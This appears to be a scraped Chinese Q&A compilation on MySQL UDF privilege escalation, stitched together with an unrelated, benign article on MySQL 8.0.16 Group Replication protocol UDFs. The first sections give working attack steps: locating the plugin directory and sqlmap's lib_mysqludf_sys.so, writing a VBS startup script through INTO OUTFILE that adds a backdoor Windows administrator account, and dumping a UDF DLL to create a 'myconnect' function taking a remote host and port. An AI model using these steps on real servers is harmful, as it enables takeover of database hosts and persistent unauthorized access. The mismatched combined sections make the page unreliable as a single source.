首页 > 编程知识 正文

mysql数据库提权之udf,sql注入提权

时间:2023-12-27 22:27:09 阅读:325568 作者:YOZW

本文目录一览:

MYSQL提权(LINUX)

select @@global.secure_file_priv;

查看MySQL服务器的文件读写权限

如果是NULL就是完全禁止

udf提权用到的so文件(linux)在kali下默认集成,路径为 /usr/share/sqlmap/udf/mysql/linux/64(32)

或者 searchsploit mysql udf

把对应的内容编译出来

mysql创建函数命令

怎么在Windows下的MYSQL网站利用UDF.dll提权?

udf.dll提权在MySQL版本大于5.0会有很多限制,因为导出udf.dll目录到winnt目录已经不行。好在还有方法, ,t00ls转载的,udf.dll失败时可以考虑试试^_^

linux mysql udf提权漏洞怎么办

在mysql库下必须有func表,并且在‑‑skip‑grant‑tables开启的情况下,UDF会被禁止;

过程: 得到插件库路径 找对应操作系统的udf库文件 利用udf库文件加载函数并执行命令

1,得到插件库路径

?

1

2

3

4

5

6

7

mysql show variables like "%plugin%";

+---------------+-----------------------+

| Variable_name | Value |

+---------------+-----------------------+

| plugin_dir | /usr/lib/mysql/plugin |

+---------------+-----------------------+

1 row in set (0.00 sec)

2,找对应操作系统的udf库文件

因为自己测试,看了下自己系统的版本,64位

?

1

2

root@bt:~# uname -a

Linux bt 3.2.6 #1 SMP Fri Feb 17 10:34:20 EST 2012 x86_64 GNU/Linux

对于udf文件,在sqlmap工具中自带就有,只要找对应操作系统的版本即可

?

1

2

3

4

5

6

root@bt:/pentest/database/sqlmap/udf/mysql# ls

linux windows

root@bt:/pentest/database/sqlmap/udf/mysql/linux# ls

32 64

root@bt:/pentest/database/sqlmap/udf/mysql/linux/64# ls

lib_mysqludf_sys.so

3,利用udf库文件加载函数并执行命令

首先要得到udf库文件的十六进制格式,可在本地通过

windows 2008 怎么利用mysql提权

mysql 5.1版本以上,必须把udf文件放到mysql安装目录下的lib/plugin下才能创建自定义函数,mysql into dumpfile并不能创建文件夹,所以mysql 5.1以上的版本,root权限提权就很困难了,目前已有的方法只有写启动项如下:

create table a (cmd text);

insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );

insert into a values ("a=wshshell.run (""cmd.exe /c net user 007hack.com qwer1234!@#$qwe /add"",0) " );

insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 007hack.com /add"",0) " );

windows 2008启动项:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\iis.vbs

select * from a into outfile "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\iis.vbs";

写启动项缺陷:

1、需要服务器重启(如果管理员3389远程桌面登陆时注销了用户,再次3389连接时,这个脚本就会运行,添加一个管理员,不需要重启)。

2、安全软件可能会拦截。

补充:

如果mysql小于5.1是root权限,windows 2008一样可以拿到系统权限(mysql无降权处理)

1、mysql导出一个dll

SELECT udf FROM 007hack_tab INTO DUMPFILE 'c:/007hack.dll

//udf内容网上早有公开

2、创建一个函数

create function myconnect returns integer soname 'c:\007hack.dll

//c盘要可以写,注意是”\”

3、调用这个函数

select myconnect('".$chost."','".$cport."')

//这只是一个例子

mysql udf函数怎么调用

背景

在上一篇推文中,我们介绍了 MySQL Group Replication 8.0.16 支持信息碎片化功能来增强大型事务处理能力。

如果您想在组复制中使用该功能,则任何组成员的版本都不能低于 8.0.16!

简单地说就是由于低版本协议上不支持。MySQL 8.0.16 的组通讯开始支持新协议,简称“分段协议”,之前的版本中只有一种“压缩协议”。

如果多个成员想加入复制组,那么在协议匹配上遵循以下原则:

现有复制组成员和新加入成员版本相同,加入成功。

低版本成员想加入高版本的组会被驱逐,加入失败。

高版本的成员想加入低版本的组,单独加入成功,多个加入失败。

例如:

一个 MySQL Server 8.0.16 实例可以成功加入使用通信协议版本 5.7.24 的组。

一个 MySQL Server 5.7.24 实例无法成功加入使用通信协议版本 8.0.16 的组。

两个 MySQL Server 8.0.16 实例无法同时加入使用通信协议版本 5.7.24 的组。

两个 MySQL Server 8.0.16 实例可以同时加入使用通信协议版本 8.0.16 的组。

新增 UDF

为了能让高版本的复制组更便于加入低版本的成员,MySQL 8.0.16 新增两个 UDF。

您可以使用两个新的 UDF 命令去管理组通信协议:

1. group_replication_set_communication_protocol(new_protocol)

设置组复制通讯协议版本

SELECT group_replication_set_communication_protocol("8.0.15");

填入一个所有成员都支持的版本号,即:new_protocol ≤ 所有成员的 MySQL版本。

new_protocol 格式:major.minor.patch (主版本号.次版本号.发布版本号)例如:8.0.15。

2. group_replication_get_communication_protocol()

获取复制中最旧成员的 MySQL 版本号

SELECT group_replication_get_communication_protocol();    +------------------------------------------------+    | group_replication_get_communication_protocol() |    +------------------------------------------------+    | 5.7.14                                         |    +------------------------------------------------+

获取的版本号可能与设置的值不一致,但不一致的版本之间组复制协议是一样的。

返回结果格式:major.minor.patch (主版本号.次版本号.发布版本号)例如:8.0.15。

以上两个 UDF 对全部组成员有效,主机或从机上均可执行。

结论

若想使用信息碎片功能。建议将组复制成员全部升级为 8.0.16。

若组内成员版本仅有部分为 8.0.16,可以用两个新的函数来让高版本的成员保持与其它成员组协议一致。

请点击输入图片描述

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。